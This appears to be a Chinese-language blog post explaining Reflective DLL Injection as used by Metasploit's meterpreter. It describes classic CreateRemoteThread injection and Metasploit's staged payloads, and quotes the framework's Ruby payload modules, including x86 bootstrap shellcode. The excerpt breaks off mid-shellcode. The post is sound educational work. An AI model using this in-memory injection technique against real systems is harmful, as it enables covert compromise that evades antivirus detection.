Reflective DLL Injection(字面翻译:反射dll注入)

      这两天把印度佬的metasploit视频看完了.带着印度口音的英语伤不起啊(请自己想象生活大爆炸里Rajesh),但是这个印度佬的口音特别重,-___-,脑海里久久回荡着印度腔英语......

 

    为什么会提到Reflective DLL Injection,看Metasploit Unleashed,里面提到神器meterpreter和vnc injection都是利用这种技术,还给了链接,果断猛击,结果悲催的校园网+端午节放假+搜狗教育网加速负荷过大+人品,打不开,换了cmcc都没前途.猛然醒起前天,啊哈哈哈哈哈,果断用filetype:pdf+关键字xx了一篇.后来有找到实现代码,其实代码在src里面就有,不过我找到的代码是最原始的框架,没有经过加工的.老外的开源精神是没办法比的,我们写个什么东西,技术含量也不是很高但是仍然要藏着掖着,anyway,入正题..

 

    声明:以下是我的一些看法,不一定对,欢迎大家拍砖讨论,共同进步^_^

 

    dll注入就是把一个dll加载到一个exe里,简单场景是现在有一个inject.dll,有a.exe正在运行,你写一个b.exe,让a.exe去加载这个inject.dll,具体实现是让b.exe在a.exe的进程空间里面写入"inject.dll"这个dll名称,之后用CreateRemoteThread创建远程线程用LoadLibrary做线程函数就OK了.这个是一个很简单的场景,现在更进一步,如果实在exploitation的场景下,那么没有b.exe,你得到的进程上下文是a.exe,你可以执行你的shellcode,这样看来,其实实现起来也很简单,关键你需要解决的问题是,你怎么把inject.dll传到target机子上.这个不是我们讨论的范围.如果你成功的把inject.dll传过去了,直接LoadLibrary()就OK了.

 

    我们来看exploitation场景,此时我们需要再target机子上写一个文件,这个文件就是inject.dll,这样的硬盘文件操作很容易引起杀软和主动防御软件的警报和注意,从而导致失败.Reflective DLL Injection提出来就是解决这个问题的,完全不需要在硬盘上写入inject.dll,而是直接在内存当中操作.然后自己加载这个inject.dll.后面会详细说.

 

    科普一下,在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage我这样比喻吧,像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动.上面提到的Reflective DLL Injection是作为一个stage存在的.也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上.对于stager的部分我们也不讨论.

 

    也即是说,我们的前提是:你已经获得了target上的shellcode执行权限,你的shellcode能够接受数据,写入内存并移交控制权(EIP).下面简单看一下metasploit的meterpreter的payload:

#$MSFHOME/modules/payloads/stages/windows/meterpreter.rb #------------------------------------------------------- ## # $Id: meterpreter.rb 8984 2010-04-03 05:21:15Z hdm $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/payload/windows/reflectivedllinject' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' ### # # Injects the meterpreter server DLL via the Reflective Dll Injection payload # ### module Metasploit3 include Msf::Payload::Windows::ReflectiveDllInject include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Meterpreter (Reflective Injection)', 'Version' => '$Revision: 8984 $', 'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)', 'Author' => ['skape','sf'], 'PayloadCompat' => { 'Convention' => 'sockedi', }, 'License' => MSF_LICENSE, 'Session' => Msf::Sessions::Meterpreter_x86_Win)) # Don't let people set the library name option options.remove_option('LibraryName') options.remove_option('DLL') end def library_path File.join(Msf::Config.install_root, "data", "meterpreter", "metsrv.dll") end end

 

    在这里面我们看到的东西是,meterpreter.rb他引入了msf/core/payload/windows/reflectivedllinject,这个是实现反射dll注入的文件,剩下的他提供的信息包括,他加入了meterpreter的session以及他使用的注入dll是metsrv.dll.

 

    下面是reflectivedllinject.rb

#$MSFHOME/lib/msf/core/payload/windows/reflectivedllinject.rb #------------------------------------------------------------ require 'msf/core' require 'rex/peparsey' module Msf ### # # Common module stub for ARCH_X86 payloads that make use of Reflective DLL Injection. # ### module Payload::Windows::ReflectiveDllInject include Msf::Payload::Windows def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective Dll Injection', 'Version' => '$Revision: 12600 $', 'Description' => 'Inject a Dll via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'http://www.harmonysecurity.com/ReflectiveDllInjection.html' ] ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'PayloadCompat' => { 'Convention' => 'sockedi -https', }, 'Stage' => { 'Offsets' => { 'EXITFUNC' => [ 33, 'V' ] }, 'Payload' => "" } )) register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class ) end def library_path datastore['DLL'] end def stage_payload(target_id=nil) dll = "" offset = 0 begin File.open( library_path, "rb" ) { |f| dll += f.read(f.stat.size) } pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) ) pe.exports.entries.each do |entry| if( entry.name =~ /^/S*ReflectiveLoader/S*/ ) offset = pe.rva_to_file_offset( entry.rva ) break end end raise "Can't find an exported ReflectiveLoader function!" if offset == 0 rescue print_error( "Failed to read and parse Dll file: #{$!}" ) return end exit_funk = [ @@exit_types['thread'] ].pack( "V" ) # Default to ExitThread for migration bootstrap = "/x4D" + # dec ebp ; M "/x5A" + # pop edx ; Z "/xE8/x00/x00/x00/x00" + # call 0 ; call next instruction "/x5B" + # pop ebx ; get our location (+7) "/x52" + # push edx ; push edx back "/x45" + # inc ebp ; restore ebp "/x55" + # push ebp ; save ebp "/x89/xE5" + # mov ebp, esp ; setup fresh stack frame "/x81/xC3" + [offset-7].pack( "V" ) + # add ebx, 0x???????? ; add offset to ReflectiveLoader "/xFF/xD3" + # call ebx ; call ReflectiveLoader "/x89/xC3" + # mov ebx, eax ; save DllMain for second call "/x57" + # push edi ; our socket "/x68/x04/x00/x00/x00" + # push 0x4 ; signal we have attached "/x50" + # p